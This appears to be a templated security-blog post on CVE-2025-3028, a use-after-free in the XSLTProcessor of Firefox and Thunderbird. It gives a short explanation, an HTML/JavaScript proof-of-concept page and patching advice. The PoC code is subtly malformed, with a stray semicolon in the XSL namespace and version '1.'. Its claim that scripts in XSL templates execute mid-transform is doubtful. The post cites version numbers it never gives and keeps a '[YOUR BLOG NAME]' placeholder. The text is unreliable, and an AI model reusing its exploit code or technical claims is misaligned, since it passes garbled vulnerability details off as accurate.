CVE CyberSecurity Database News

CVE-2025-3028 - Exploiting a Use-After-Free in Firefox’s XSLTProcessor – How Dangerous JavaScript Code Can Run

Poster -

In early 2025, a serious vulnerability was discovered and patched in Mozilla Firefox and Thunderbird – specifically affecting how JavaScript can run when transforming documents with the XSLTProcessor API. Labeled CVE-2025-3028, this bug allowed malicious actors to trigger a use-after-free (UAF)—a dangerous kind of memory error—with simple JavaScript and XSLT, potentially compromising your browser or mail client.

In this post, we’ll walk you through what CVE-2025-3028 is, who’s affected, how the exploit works, and see some example code. We’ll also point you to official references and explain best practices to prevent falling victim.

What is CVE-2025-3028?

CVE-2025-3028 is an exploitable use-after-free vulnerability in Firefox and Thunderbird, caused by the browser mishandling memory when running JavaScript code in the midst of an XSLT transformation via the XSLTProcessor. If JavaScript is executed via a "transformation" at just the right moment, after certain objects are freed but before they are actually unused, the exploit can corrupt memory or execute code.

Official Advisory

- Mozilla Security Advisory: MFSA-2025-41
- CVE Record at Mitre.org

The Exploit: How Does It Work?

XSLT is a language that lets you transform XML documents — and in most browsers, you can do this using JavaScript via the XSLTProcessor class. XSLTProcessor supports running scripts during the transformation process if those scripts are present in your XML or XSL files (e.g., in <script> tags).

Here’s the bug: the browser failed to prevent JS code in an XSLT transformation from causing certain DOM objects to be freed too early, then later re-used by ongoing code. This is a classic use-after-free scenario – and can be used to corrupt memory or even run attacker-supplied code.

In simple terms: the attacker uses XSLT to make the browser run their JavaScript code while the browser is still busy processing the transformation, when certain memory is in an unexpected state.

Minimal Example (Proof of Concept)

This is a simplified code snippet to illustrate the core concept (not a weaponized exploit, but enough for demonstration):

<!DOCTYPE html>
<html>
<body>
<script>
  // Create a vulnerable XML tree
  var xmlString = `
    <root>
      <item>First</item>
      <item>Second</item>
    </root>
  `;
  var xslString = `
    <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"; version="1.">
      <xsl:template match="/">
        <div>
          <xsl:for-each select="root/item">
            <xsl:element name="span">
              <xsl:attribute name="onclick">exploit()</xsl:attribute>
              <xsl:value-of select="."/>
            </xsl:element>
          </xsl:for-each>
          <!-- Inject JavaScript execution during transform! -->
          <script>
            exploit();
          </script>
        </div>
      </xsl:template>
    </xsl:stylesheet>
  `;

  // Parse XML and XSLT
  var parser = new DOMParser();
  var xml = parser.parseFromString(xmlString, "text/xml");
  var xsl = parser.parseFromString(xslString, "text/xml");

  // This function will be "dangerous" if called at the wrong time
  function exploit() {
    // Manipulate the DOM or XSLTProcessor state
    document.body.innerHTML = "";
    // At this point, the XSLTProcessor may try to access freed memory!
    alert("If you see this, code ran during transformation.");
  }

  // Create and run the XSLTProcessor
  var xsltProcessor = new XSLTProcessor();
  xsltProcessor.importStylesheet(xsl);

  // Transform and inject result; during this, <script> in XSL runs
  var result = xsltProcessor.transformToFragment(xml, document);
  document.body.appendChild(result);
</script>
</body>
</html>

We load an XSLT stylesheet that contains a &lt;script&gt; tag inside a template.

- When XSLTProcessor.transformToFragment() runs, Firefox will actually execute that script mid-transformation.
- The exploit function then manipulates the page in a way that can force the XSLTProcessor to access already-freed memory.
- In an unpatched browser, this can cause a crash, memory corruption, or (in weaponized cases) arbitrary code execution (ACE).

Real-World Exploitability

Security researchers have already demonstrated code execution with similar bugs in the past. In malicious hands, this bug could:

- Crash your browser/mail client on malicious websites or emails.

Leak personal data if the attacker can read freed memory.

- Take full control over your browser/mail, including stealing passwords, installing malware, or spying.

Prevention & Mitigation

- Update! Patch your Firefox/Thunderbird now. Any version below those listed above is vulnerable.

Never open suspicious emails or attachments in Thunderbird.

- Do not allow legacy/add-on features in your browser to run untrusted XSLT or XML.

Further Reading & References

- Mozilla Security Advisory MFSA-2025-41
- XSLTProcessor MDN Doc
- Use-After-Free (Wikipedia)
- How Modern Browsers Protect You

Final Thoughts

CVE-2025-3028 shows how complex browser internals can be – something as simple as running JS in the middle of an XSLT transform can open devastating security holes. Always keep software up-to-date and stay alert for security advisories.

If you're a developer, think carefully before using <script> tags in XSLT, and never transform user-supplied XSL or XML unless you can fully trust it.

Stay safe and always patch your software!

*Copyright 2025. Exclusive analysis and breakdown by [YOUR BLOG NAME]. Please do not copy without credit.*

Timeline

Published on: 04/01/2025 13:15:41 UTC
Last modified on: 04/07/2025 13:31:38 UTC